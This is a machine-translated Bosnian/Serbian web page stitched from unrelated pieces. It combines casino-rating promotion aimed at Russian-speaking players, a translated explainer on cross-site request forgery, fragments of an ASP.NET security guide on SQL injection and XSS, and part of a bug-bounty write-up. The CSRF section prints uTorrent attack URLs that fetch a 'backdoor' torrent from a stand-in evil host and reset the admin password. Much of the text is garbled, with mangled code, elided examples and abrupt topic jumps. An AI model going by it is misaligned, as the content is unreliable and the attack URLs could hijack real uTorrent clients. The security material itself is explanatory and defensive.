Šta je csrf vrijednost. Šta je CSRF? Značenje pojma CSRF

Pronalaženje pouzdanih i poštenih online kazina zahtijeva puno slobodnog vremena, posebno kada su u pitanju početnici. Potrebno je procijeniti transparentnost gaming kluba, online reputaciju, povratne informacije drugih korisnika, brzinu plaćanja i mnoge druge faktore aktivnosti. Da bismo spasili igrače od slične sudbine, sastavili smo casino rejting , koji su temeljito testirani i potvrdili vlastitu poštenje i dobar prinos na slot mašinama.

Naša ocjena najboljih kazina

Više ne morate trošiti lično vrijeme na provjeru pouzdanosti institucije. Iskusni analitičari koji se specijalizuju za kockanje i provode na desetine sati u kockarnicama svakog meseca dali su svoju objektivnu procenu rada kockarskih klubova. Analizirali su stotine ustanova kako bi na kraju korisnicima ponudili najbolje platforme dostupne na Internetu.

Početna lista klubova bila je prilično velika, ali su u procesu analize otpale sumnjive i nepouzdane institucije. Na primjer, prisutnost lažne licence, nepostojanje certifikata za slotove, zamjena servera u automatu i još mnogo toga služe kao upozorenje stručnjacima. Čak i jedan faktor koji vam omogućava da sumnjate u poštenje kazina je razlog za isključenje iz ocjene.

Pored površne analize platformi za igre, provjeravaju se i informacije o objektima na internetu. U analizi se uzimaju u obzir reputacija u mreži, recenzije sadašnjih i bivših igrača, prisustvo konfliktnih situacija, skandala u kazinu i načini rješavanja problema kreatora. Posebna pažnja se poklanja mladim klubovima sa iskustvom do 1-2 godine.

Kako se sastavlja rejting kazina i ko tamo stiže?

Za stvaranje ocjena licenciranih kazinaPrivlačimo iskusne kockare i analitičare sa preko 10 godina iskustva u industriji. Zahvaljujući svom znanju, oni lako otkidaju lažne klubove, a zatim sprovode detaljnu analizu preostalih ustanova. Rezultat je mala lista pouzdanih kazina u kojima možete bezbedno igrati bez straha za poštenje rezultata i isplata.

  • dostupnost licence od regulatora igara na sreću i odabrane jurisdikcije za registraciju;
  • sigurnost platforme, koja garantuje povjerljivost podataka i informacija o plaćanju;
  • izbor licenciranog softvera od pouzdanih provajdera, u čiji rad se ne može ometati;
  • prisustvo verzije na ruskom jeziku za veću udobnost korisnika iz Rusije i zemalja ZND;
  • služba podrške, uključujući raspored njenog rada, brzinu odgovora, kvalitet rješavanja problema;
  • podizanje novca bez dodatnih odlaganja ili verifikacije, kao i opcije za primanje novca i brzinu obrade transakcija;
  • bonus programi za nove i redovne korisnike, dostupnost turnira, lutrija, periodične promocije;
  • platne sisteme koji utiču na udobnost kupaca da dopune račun i podignu dobitke.

Ovo je samo mala lista trenutnih zahtjeva koje procjenjuju stručnjaci. Svaki kriterijum dobija svoj koeficijent važnosti, koji se uzima u obzir prilikom sumiranja konačnog rezultata.

Šta je licencirani kazino?

Casino Rating , koji ukazuje na poštenje i transparentnost rada platformi za igre na sreću, mogu se sastojati isključivo od objekata sa važećim licencama za rad. Pravni klubovi moraju proći provjeru regulatora i poštovati sva njihova pravila kako bi dobili dozvolu.

Samo spominjanje prisustva licence na stranici nije dovoljno. Stručnjaci shvaćaju da prevaranti mogu koristiti logotipe da obmanu naivne korisnike, pa sami analiziraju informacije. Da biste to učinili, idite na službenu web stranicu regulatora i potvrdite informacije pomoću broja dokumenta ili naziva pravnog lica. Ako nema informacija o licenci, onda je lažna.

Analitičari također koriste tehničku analizu za provjeru licenciranog softvera. Uz pomoć programskih alata dobijaju pristup informacijama o serveru za prenos podataka. Ako kazino koristi službeni portal dobavljača softvera, onda je softver pošten i legalan. To znači da je nemoguće miješati se u njegov rad i izvrtati konačne rezultate.

Kako se utvrđuje poštenje u kazinu?

Prilično je teško samostalno procijeniti poštenje igračkog kluba, što je zbog količine raspoloživih resursa i znanja. Prije uključivanja objekata uocjena poštenih kazina, analitičari provode temeljitu provjeru mnogih faktora:

  • regioni iz kojih se primaju igrači, jer zabranjene jurisdikcije govore mnogo;
  • limiti povlačenja koji ograničavaju jednokratne transakcije, kao i dnevni, sedmični i mjesečni iznos transakcija;
  • dostupnost informacija o KYC i AML, što ukazuje na usklađenost sa zahtjevima zakonodavstva o poštenju i zakonitosti porijekla novca;
  • reputaciju koja potvrđuje poštenje i pouzdanost kluba i odsustvo skandala ili problema visokog profila;
  • trajanje rada, što vam omogućava da u potpunosti procijenite povijest internetskog resursa, uključujući sve prednosti i nedostatke;
  • prisustvo regulatora i poštovanje njegovih pravila, što povećava šanse za pravičnost.

Licenca i regulator su prilično važan kriterij, ali to ne daje 100% garanciju poštenja. Na takvu titulu mogu računati samo klubovi koji su igračima omogućili velike dobitke i džekpotove, dali poklone za lutrije i turnire.

Vrste slot mašina

Broj slotova, automata i drugih vrsta kockarske zabave govori mnogo o instituciji. Neki klubovi sarađuju sa samo nekoliko provajdera softvera, ali od njih dobijaju popularne i nove ponude igara, dok drugi proširuju mrežu partnerskih ugovora i pozivaju veliki broj brendova na saradnju. Što je više slot mašina predstavljeno na platformi za igre, klijentu je lakše da odabere slot koji voli.

Ali ocjena licenciranih kazinauzima u obzir ne samo raznolikost igara, već i njihovu kvalitetu. Pouzdane ustanove za igre na sreću koriste isključivo licencirani softver koji je testiran na poštenje i sigurnost. Takve mašine vam omogućavaju da računate na povrat do 98%, a ne možete se miješati u njihov rad i podešavati algoritam za generiranje rezultata.

Iskreno govoreći, sve stranice imaju za cilj ostvarivanje profita. Čak i ako jedan od igrača osvoji džekpot, kazino ostaje u plusu na duge staze. Ali samo pošteni klubovi dozvoljavaju korisnicima da dobiju veliki džekpot i povuku ga na pravi račun. To je ono što razlikuje licencirana online kasina od lažnih projekata.

Bonus politika

Napravite ocjenu kazina bez uzimanja u obzir bonus politike je nemoguće. Svi gaming klubovi koriste promocije i poklone kako bi privukli nove i zadržali postojeće klijente. Ali neke institucije djeluju prilično lukavo, stvarajući skrivene uslove za klađenje ili obračunavanje, postavljajući nerealne uslove klađenja u rasponu od x60-100, koje je gotovo nemoguće ispuniti.

Standardni set poticaja sastoji se od sljedećih kategorija:

  1. Bonus bez depozita za dobrodošlicu novim klijentima - dodjeljuje se za potvrdu email adrese i broja telefona. Kao nagrada koristi se besplatni novac ili besplatni okreti na automatima sa obaveznim uslovom klađenja.
  2. Poklon za registraciju - besplatni okreti ili množitelji iznosa dopune računa za 1-5 depozita od trenutka kreiranja ličnog profila. Tačan iznos bonusa i maksimalne limite određuje svaki klub pojedinačno.
  3. Program lojalnosti - različiti sistemi statusa korisnika koji utiču na veličinu nedeljnog povrata novca, dostupnost ličnih uslova usluge, individualnih poklona, ​​povoljan kurs interne valute za novac i još mnogo toga.
  4. Promo kodovi su periodične promocije klubova za igre koji dijele poklon certifikate za besplatne okrete, bonuse bez depozita ili množitelje računa za sve.

Kazina na ruskom jeziku

Komponovanje ocjena najboljih kazina u 2020, prisustvo ruskog jezika na platformi se uzima u obzir. Interfejs na ruskom jeziku omogućava korisnicima iz Rusije, Bjelorusije, Ukrajine i zemalja ZND-a da se lako bave registracijom, prijavom, dopunom računa i drugim karakteristikama platforme. Takođe potvrđuje da je institucija fokusirana na korisnike koji govore ruski, nudeći im jedinstvene bonuse i podršku.

U obzir se uzima rad službe podrške. Većina kockarskih klubova pruža pomoć klijentima isključivo na engleskom jeziku, što otežava komunikaciju. Morate koristiti prevodioca ili kontaktirati upućene ljude kako biste podnijeli zahtjev i razumjeli odgovor podrške. Stoga ocjena uključuje samo one online klubove koji savjetuju klijente u razgovorima za podršku i telefonom na ruskom.

Sučelje na ruskom jeziku u kazinu omogućit će vam da lako razumite korisnička pravila platforme, proučite bonus ponude i karakteristike njihovih naplata, klađenja, sudjelujete u turnirima i lutrijama bez ikakve sumnje u ispravnost akcija.

Kazino sa brzim isplatama

Posebna pažnja posvećena je brzini isplata u online kockarnicama. Neki klubovi nude isplate na bankovne kartice i e-novčanike u roku od nekoliko sati, a za VIP klijente zahtjeve obrađuju trenutno. Drugi koriste ručnu obradu prijava radnim danima po posebnom rasporedu, pa se plaćanja mogu odgoditi do 1-3 radna dana od trenutka podnošenja zahtjeva. Da biste spasili korisnike od dugog čekanja, kreiranbrzo povlačenje casino rejting.

Sastoji se isključivo od onih institucija koje blagovremeno razmatraju sve prijave i ne stvaraju prepreke za primanje novca. Uzima se u obzir ne samo brzina transfera, već i odsustvo problema pri traženju velikih isplata ili transfera novca nakon osvajanja džekpota, velikog džekpota. Samo poštene ustanove mogu garantovati pravičnost plaćanja i odsustvo problema sa isplatama.

Također analizira dostupne sisteme plaćanja za depozite i zahtjeve za novcem. Standardne stranice podržavaju minimalan broj načina, ali progresivni klubovi stalno analiziraju trendove kako bi integrirali nova tehnička rješenja.

Glavni sistemi plaćanja u online kockarnicama:

  • bankovne kartice MIR, MasterCard, Visa;
  • elektronski novčanici QIWI, Yandex, Webmoney, Neteller, Skrill i drugi;
  • mobilno plaćanje Beeline, MegaFon, MTS, TELE2;
  • rusko internet bankarstvo;
  • popularne kriptovalute uključujući Bitcoin, Ethereum, Litecoin.

Služba tehničke podrške korisnicima

Važan faktor koji je uzet u obzir pri kreiranjuocjena poštenih kazina- Dostupnost usluge korisničke podrške i kvaliteta njenog rada. Pouzdane ustanove brinu o vlastitoj bazi klijenata, pa organiziraju posebne telefonske linije, kao i online chat za brz odgovor na pitanja korisnika i rješavanje njihovih problema.

Analitičari su koristili telefonske linije, razgovore uživo i kontakte e-pošte za analizu podrške. U različito doba dana, osoblje stranice je primalo razna pitanja ili zahtjeve za rješavanje tehničkih problema. Nakon toga je izvršena procjena kvaliteta njihovog rada koja je uključivala sljedeće faktore:

  • brzina davanja odgovora;
  • da li konsultant rješava problem i koliko je vremena za to bilo potrebno;
  • pismenost odgovora i prisustvo zaposlenih koji govore ruski u podršci.

Ako kazino nema operatere koji govore ruski, preporučujemo korištenje Google-ovog online prevoditelja za prevođenje pitanja i odgovora konsultanata.

zaključci

Prije registracije u online klubu, potrebno je analizirati pouzdanost, transparentnost njegovog rada, kao i provjeriti reputaciju i recenzije na mreži. Umjesto toga, predlažemo korištenjeocjena poštenih kazinasastavljen od strane iskusnih kockara. Uz pomoć vlastitog iskustva, odbacili su desetine sumnjivih gaming klubova, ostavljajući na listi najbolje ustanove u 2020.

Zahtjev za krivotvorenje na više lokacija, također poznat kao napad jednim klikom ili sesija jahanja i skraćeno CSRF(ponekad se izgovara plimna bušotina) ili XSRF, je vrsta zlonamjernog softvera koji se iskorištava s web stranice gdje se neovlaštene komande šalju od korisnika kojem web aplikacija vjeruje. Postoji mnogo načina na koje zlonamjerna web stranica može poslati takve komande; Na primjer, posebno izrađene oznake slika, skriveni oblici i JavaScript XMLHttpRequests, svi mogu raditi bez interakcije korisnika ili čak znanja. Za razliku od skriptiranja na više lokacija (XSS), koje iskorištava povjerenje koje korisnik ima za određenu lokaciju, CSRF iskorištava povjerenje koje stranica ima u korisnikov pretraživač.

priča

CSRF ranjivosti su poznate i eksploatisane su u nekim slučajevima od 2001. Pošto se vrši sa IP adrese korisnika, neki logovi veb lokacija možda nemaju CSRF dokaz. Eksploatacije se nedovoljno prijavljuju, barem javno, a od 2007. bilo je nekoliko dobro dokumentiranih primjera:

  • Netflixova web stranica je 2006. godine imala brojne CSRF ranjivosti koje su mogle omogućiti napadaču da izvrši radnje kao što je dodavanje DVD-a u red za iznajmljivanje žrtve, promjena adrese za isporuku na računu ili promjena akreditiva za prijavu žrtve kako bi se u potpunosti kompromitirao račun.
  • Web aplikacija za online bankarstvo ING Direct bila je ranjiva na CSRF napade, koji su omogućavali ilegalne transfere novca.
  • Popularni video sajt YouTube je takođe bio ranjiv na CSRF 2008. godine, što je omogućilo svakom napadaču da izvrši skoro sve radnje bilo kog korisnika.
  • McAfee je takođe ranjiv na CSRF, što je omogućilo napadačima da modifikuju sistem svoje kompanije.

U 2018. izvršeni su novi napadi na web uređaje, uključujući pokušaje promjene DNS postavki rutera. Neki proizvođači rutera žurno su objavili ažuriranja firmvera kako bi poboljšali sigurnost i savjetovali su korisnike da promijene postavke rutera kako bi smanjili rizik. Detalji nisu objavljeni, navodeći "očigledne sigurnosne zabrinutosti".

Primjer i karakteristike

Napadači koji mogu pronaći reproducibilnu vezu koja izvodi određenu radnju na odredišnoj stranici dok se žrtva prijavljuje mogu ugraditi takav link na stranicu koju kontroliraju i prevariti žrtvu da je otvori. Link napada operatera može se postaviti na lokaciju koju će žrtva vjerovatno posjetiti tako što će se prijaviti na ciljnu stranicu (kao što je diskusija na forumu) ili poslati u HTML tijelu e-pošte ili prilogu. Prava CSRF ranjivost u utorrent-u (CVE-2008-6586) iskoristila je činjenicu da je njegova web konzola dostupna na lokalnom hostu: 8080 je omogućilo izvođenje kritičnih radnji jednostavnim GET zahtjevom:

Prisilno preuzimanje .torrent fajla http://localhost:8080/gui/action=add url&s=http://evil.example.com/backdoor.torrent Promjena administratorske lozinke utorrent http://localhost:8080/gui/action =setsetting&s =webui.password&v=eviladmin

Napadi su pokrenuti postavljanjem zlonamjernih, automatiziranih HTML elemenata slike na forume i neželjene e-pošte kako bi ih pretraživači koji posjećuju te stranice otvarali automatski, bez mnogo radnje od strane korisnika. Ljudi koji koriste ranjivu verziju utorrenta u isto vrijeme kada otvaraju ove stranice bili su izloženi napadu.

CSRF napadi pomoću oznaka slika se često vrše sa internet foruma na kojima korisnici mogu postavljati slike, ali ne i JavaScript, kao što je korištenje BBKoda:

http://localhost:8080/gui/?action=add-url&s=http://evil.example.com/backdoor.torrent

Kada pristupate linku za napad na lokalnoj utorrent aplikaciji na localhost: 8080, pretraživač će također uvijek automatski poslati sve postojeće kolačiće za tu domenu. Ovo zajedničko svojstvo web pretraživača omogućava CSRF napadima da iskoriste svoje ciljane ranjivosti i izvode neprijateljske radnje sve dok je korisnik prijavljen na ciljnu web stranicu (u ovom primjeru, lokalni utorrent web interfejs) u vrijeme napada.

Prijevara zahtjeva na više lokacija je zbunjujući proxy napad na web pretraživač.

CSRF obično ima sljedeće karakteristike:

  • Uključuje web stranice koje se oslanjaju na identitet korisnika.
  • Koristi povjerenje stranice u taj identitet.
  • Prevari korisnikov pretraživač da pošalje HTTP zahteve na ciljnu lokaciju.
  • Uključuje HTTP zahtjeve koji imaju nuspojave.

HTTP glagoli i CSRF

  • U HTTP GET-u eksploatacija CSRF-a je trivijalna, koristeći metode opisane iznad, kao što je jednostavna hiperveza koja sadrži manipulisane parametre i automatski se učitava pomoću IMG oznake. Međutim, prema HTTP specifikaciji, GET bi se trebao koristiti kao siguran metod, tj. da ne mijenja značajno stanje korisnika u aplikaciji. Aplikacije koje koriste GET za takve operacije trebale bi se prebaciti na HTTP POST ili koristiti CSRF zaštitu.
  • HTTP POST ima različite CSRF ranjivosti, u zavisnosti od detaljnih slučajeva upotrebe:
    • U svom najjednostavnijem POST obliku sa podacima kodiranim kao string upita (polje1=value1&field2=value2) CSRF napadi se lako implementiraju jednostavnim HTML formom i moraju se primijeniti anti-CSRF mjere.
    • Ako se podaci šalju u bilo kom drugom formatu (JSON, XML) standardna metoda je izdavanje POST zahtjeva koristeći XMLHttpRequest sa CSRF napadima koje sprječavaju SOP i ; postoji metoda za podnošenje proizvoljnog sadržaja iz jednostavnog HTML obrasca pomoću atributa ENCTYPE; takav lažni zahtjev može se razlikovati od legitimnih po tipu teksta/običnog sadržaja, ali ako se to ne izvrši na serveru, CSRF se može izvršiti
  • druge HTTP metode (PUT, DELETE, itd.) mogu se izdati samo koristeći XMLHttpRequest sa SOP i CSRF prevencijom; Međutim, ove mjere neće biti aktivne na web lokacijama koje ih eksplicitno onemogućuju korištenjem zaglavlja Access-Control-Allow-Origin: *

Drugi pristupi CSRF-u

Osim toga, iako se tipično opisuje kao statički tip napada, CSRF se također može dinamički izgraditi kao dio korisnog opterećenja za scenarije napada na više lokacija, kao što pokazuje Samy crv, ili izgrađen u hodu od informacija o sesiji koje su procurile kroz izlazni sadržaj. i poslat na cilj kao zlonamjerni URL. CSRF tokene takođe može poslati napadač klijent zbog fiksacije sesije ili drugih ranjivosti, ili pogoditi napadom grube sile, prevesti u zlonamernu stranicu koja generiše hiljade neuspešnih zahteva. Klasu napada "Dynamic CSRF", ili korištenje tereta po klijentu za određenu sesiju krivotvorenja, opisali su 2009. Nathan Hamiel i Sean Moyer na brifinzima BlackHat-a, iako taksonomija tek treba dobiti širu primjenu.

Novi vektor za sastavljanje dinamičkih CSRF napada predstavio je Oren Ofer na lokalnom OWASP sastanku u januaru 2012. - "AJAX Hammer - Dynamic CSRF".

Posljedice

Objavljeni su indikatori ozbiljnosti za CSRF ranjivosti koje dovode do udaljenog izvršavanja koda sa root privilegijama, kao i ranjivost koja bi mogla ugroziti root certifikat, što bi u potpunosti potkopala infrastrukturu javnog ključa.

Ograničenja

Nekoliko stvari se mora dogoditi da bi zahtjev za krivotvorenje na više lokacija uspio:

  1. Napadač mora ciljati ili web lokaciju koja ne provjerava zaglavlje upućivača ili žrtvu koristeći pretraživač ili dodatak koji dozvoljava lažiranje upućivača.
  2. Napadač treba da pronađe obrazac za podnošenje na ciljnom sajtu ili URL koji ima nuspojave koje nešto radi (kao što je transfer novca ili promena adrese e-pošte ili lozinke žrtve).
  3. Napadač mora odrediti ispravne vrijednosti za sve forme ili URL unose; ako bi bilo koja od njih trebala biti tajne vrijednosti ili identifikatore za autentifikaciju, napadač neće moći pogoditi šta napadač vjerovatno neće moći (osim ako napadač nije vrlo srećan u svom nagađanju).
  4. Napadač treba da namami žrtvu na web stranicu sa zlonamjernim kodom dok se žrtva prijavljuje na ciljnu stranicu.

Napad je slijep: napadač ne može vidjeti šta ciljna lokacija šalje nazad žrtvi kao odgovor na krivotvorene zahtjeve osim ako ne iskorištava skriptiranje na više lokacija ili drugu grešku na ciljnoj lokaciji. Također, napadač može ciljati bilo koju vezu ili poslati bilo koji obrazac koji dolazi nakon početnog krivotvorenog zahtjeva, samo ako su te naknadne veze ili obrasci jednako predvidljivi. (Više ciljeva se može simulirati uključivanjem više slika na stranicu ili korištenjem JavaScripta za uvođenje kašnjenja između klikova.)

S obzirom na ova ograničenja, napadač može imati poteškoća da pronađe anonimne žrtve ili ranjiv oblik prezentacije. S druge strane, pokušaji napada se lako montiraju i neprimjetni su za žrtve, a programeri aplikacija su manje upoznati i spremni za CS napade nego za, recimo, napade rječnika za probijanje lozinki.

prevencija

Većina CSRF metoda prevencije radi ubrizgavanjem dodatnih podataka za autentifikaciju u zahtjeve, što omogućava web aplikaciji da otkrije zahtjeve s neovlaštenih lokacija.

Marker modela sinhronizatora

  • Nakon prijave, web aplikacija postavlja kolačić koji sadrži nasumični token koji ostaje isti tijekom sesije korisnika
Set-Cookie: Csrf-token=i8XNjC4b8KVok4uw5RftR38Wgp2BFwql; expires=Čet, 23-Jul-2015 10:25:33 GMT; Max Age=31449600; Put=/
  • JavaScript koji radi na strani klijenta čita vrijednost i kopira je u prilagođeno HTTP zaglavlje koje se šalje sa svakim transakcijskim zahtjevom
X-Csrf-Token: i8XNjC4b8KVok4uw5RftR38Wgp2BFwql
  • Server provjerava prisutnost i integritet tokena

Sigurnost ove metode zasniva se na pretpostavci da će samo JavaScript koji se pokreće unutar istog porijekla moći pročitati vrijednost kolačića. JavaScript koji radi na lažnoj datoteci ili emailu neće moći čitati i kopirati prilagođeno zaglavlje. Iako CSRF token kolačićiće se automatski poslati s lažnim zahtjevom, server će i dalje očekivati ​​važeći X-CSRF token header .

Sam CSRF token mora biti jedinstven i nepredvidiv. Ovo može biti nasumično generirano ili može biti izvedeno iz tokena sesije koristeći HMAC:

Csrf_token = HMAC(token_sesije, tajna_aplikacije)

CS token kolačića ne bi trebao imati oznaku HTTPOnly, jer je namijenjen za čitanje JavaScript dizajnom.

Ovu metodu implementiraju mnogi moderni okviri kao što su Django i AngularJS. Budući da token ostaje konstantan tokom sesije korisnika, dobro radi sa AJAX aplikacijama, ali ne obezbeđuje sekvenciranje događaja u web aplikacijama.

Zaštita koju pruža ova metoda može biti osujećena ako ciljana web stranica onemogućuje svoju politiku istog porijekla koristeći jednu od sljedećih metoda:

  • Permissive Access-Control-Allow-Origin zaglavlje (sa argumentom zvjezdicom)
  • clientaccesspolicy.xml datoteka koja daje nenamjeran pristup kontroli Silverlight
  • crossdomain.xml datoteka koja pruža nenamjeran pristup flash filmovima

Double Send Cookie

Slično pristupu kolačića do zaglavlja, ali bez uključivanja JavaScripta, stranica može postaviti CSRF token kao kolačić i umetnuti ga u skriveno polje u svaki HTML obrazac koji klijent pošalje. Kada se obrazac pošalje, stranica može provjeriti da li token kolačića odgovara obliku kolačića. Politika zajedničkog porijekla sprječava napadača da čita ili postavi kolačiće na ciljnu domenu, tako da ne može staviti ispravan token u kreiranu formu.

Prednost ove metode u odnosu na obrazac sinhronizatora je u tome što token ne mora biti pohranjen na serveru.

Garancije kupaca

Ekstenzije pretraživača kao što su RequestPolicy (za Mozilla Firefox) ili Umatrix (i za Firefox i Google Chrome/Chromium) mogu spriječiti CSRF pružanjem zadane politike odbijanja za zahtjeve na više lokacija. Međutim, to može značajno ometati normalan rad mnogih lokacija. CsFire ekstenzija (također za Firefox) može ublažiti uticaj CSRF-a sa manjim uticajem na normalno pregledanje uklanjanjem informacija o autentifikaciji iz zahteva za više lokacija.

ASP.NET MVC nije najnaglašeniji, ali prilično popularan stek u okruženju za razvoj weba. Sa (anti)hakerske tačke gledišta, njegova standardna funkcionalnost vam daje neki osnovni nivo sigurnosti, ali je potrebna dodatna zaštita za zaštitu od velike većine hakerskih trikova. U ovom članku ćemo pokriti osnove koje bi ASP.NET programer (bilo da se radi o Core, MVC, MVC Razor ili Web Forms) trebao znati o sigurnosti.

Počnimo sa dobro poznatim vrstama napada.

SQL injekcija

Čudno, ali u 2017. injekcija i, posebno, SQL injekcija su na prvom mjestu među „Top 10 sigurnosnih rizika OWASP“ (Open Web Application Security Project). Ova vrsta napada podrazumijeva da se podaci koje unese korisnik koristi na strani servera kao parametri upita.

Primjer klasične SQL injekcije je specifičniji za aplikacije Web Forms. Korištenje parametara kao vrijednosti upita pomaže u zaštiti od napada:

String commandText = "AŽURIRAJ Korisnici SET Status = 1 WHERE CustomerID = @ID;"; SqlCommand naredba = nova SqlCommand(commandText, connectionString); command.Parameters["@ID"].Value = customerID;

Ako razvijate MVC aplikaciju, onda Entity Framework pokriva neke ranjivosti. Morate uspjeti da dobijete SQL injekciju koja je radila u MVC / EF aplikaciji. Međutim, ovo je moguće ako izvršavate SQL sa ExecuteQuery ili pozivate loše napisane pohranjene procedure.

Iako ORM izbjegava SQL injekciju (s izuzetkom gornjih primjera), preporučuje se da se atributi ograniče na vrijednosti koje polja modela, a samim tim i polja forme, mogu uzeti. Na primjer, ako se pretpostavlja da se u polje može unijeti samo tekst, tada koristite Regex da navedete raspon ^+$ . A ako se u polje moraju unijeti brojevi, navedite ovo kao uslov:

Javni string Zip (dobi; postavi;)

U web obrascima možete ograničiti vrijednosti pomoću validatora. primjer:

Od .NET 4.5 Web Forms koriste nenametljivu validaciju. To znači da ne morate pisati nikakav dodatni kod da biste provjerili vrijednost obrasca.

Validacija podataka, posebno, može pomoći u zaštiti od druge dobro poznate ranjivosti koja se zove cross-site scripting (XSS).

XSS

Tipičan primjer XSS-a je dodavanje skripte komentaru ili unosu u knjigu gostiju. Može izgledati ovako:

Kao što razumijete, u ovom primjeru, kolačići sa vaše stranice se prosljeđuju kao parametar nekom hakerskom resursu.

U web obrascima možete pogriješiti s kodom poput ovog:

izvini<%= username %>ali lozinka je pogrešna

Jasno je da umjesto korisničkog imena može postojati skripta. Da biste izbjegli izvršavanje skripte, možete barem koristiti drugi ASP.NET izraz: , koji kodira njegov sadržaj.

Ako koristimo Razor, onda se stringovi automatski kodiraju, što svodi mogućnost implementacije XSS-a na minimum - haker to može učiniti samo ako napravite grubu grešku, na primjer, koristite @Html.Raw(Model.username) ili koristite MvcHtmlString umjesto stringa u vašem modelu.

Za dodatnu zaštitu od XSS-a, podaci su također kodirani u C# kodu. U .NET Core-u možete koristiti sljedeće enkodere iz imenskog prostora System.Text.Encodings.Web: HtmlEncoder, JavaScriptEncoder i UrlEncoder.

Sljedeći primjer će vratiti string 6 7 8

U osnovi, kada žrtva učita stranicu, ona šalje zahtjev Badoo skripti, preuzima parametar rt za tog korisnika, a zatim postavlja zahtjev u ime žrtve. U ovom slučaju, radilo se o povezivanju Mahmudovog računa sa računom žrtve, što je omogućilo da se račun potpuno preuzme.

zaključci

Gdje ima dima, ima i vatre Ovdje je Mahmoud primijetio da se rt parametar vraća na raznim mjestima, u određenim json odgovorima. Tako da je ispravno pretpostavio da se može pokazati negdje gdje se može koristiti u ovom slučaju u js fajlu.

Rezultati

CSRF napadi predstavljaju još jedan opasan vektor napada i mogu se izvesti sa malo ili bez obavještenja žrtve. Pronalaženje CSRF ranjivosti zahtijeva određenu domišljatost i, opet, želju da se sve testira.

Općenito, obrasci su zaštićeni prema zadanim postavkama okvirima kao što je Rails ako web lokacija uputi POST zahtjev, ali API-ji mogu

biti posebna priča. Na primjer, Shopify je prvenstveno napisan na osnovu Ruby on Rails okvira, koji obezbjeđuje CSRF zaštitu za sve forme prema zadanim postavkama (iako se može isključiti). Međutim, to očito nije nužno slučaj za API-je izgrađene s ovim okvirom. Konačno, obratite pažnju na pozive koji mijenjaju podatke na serveru (kao što je akcija brisanja) i koji se vrše sa GET zahtjevom.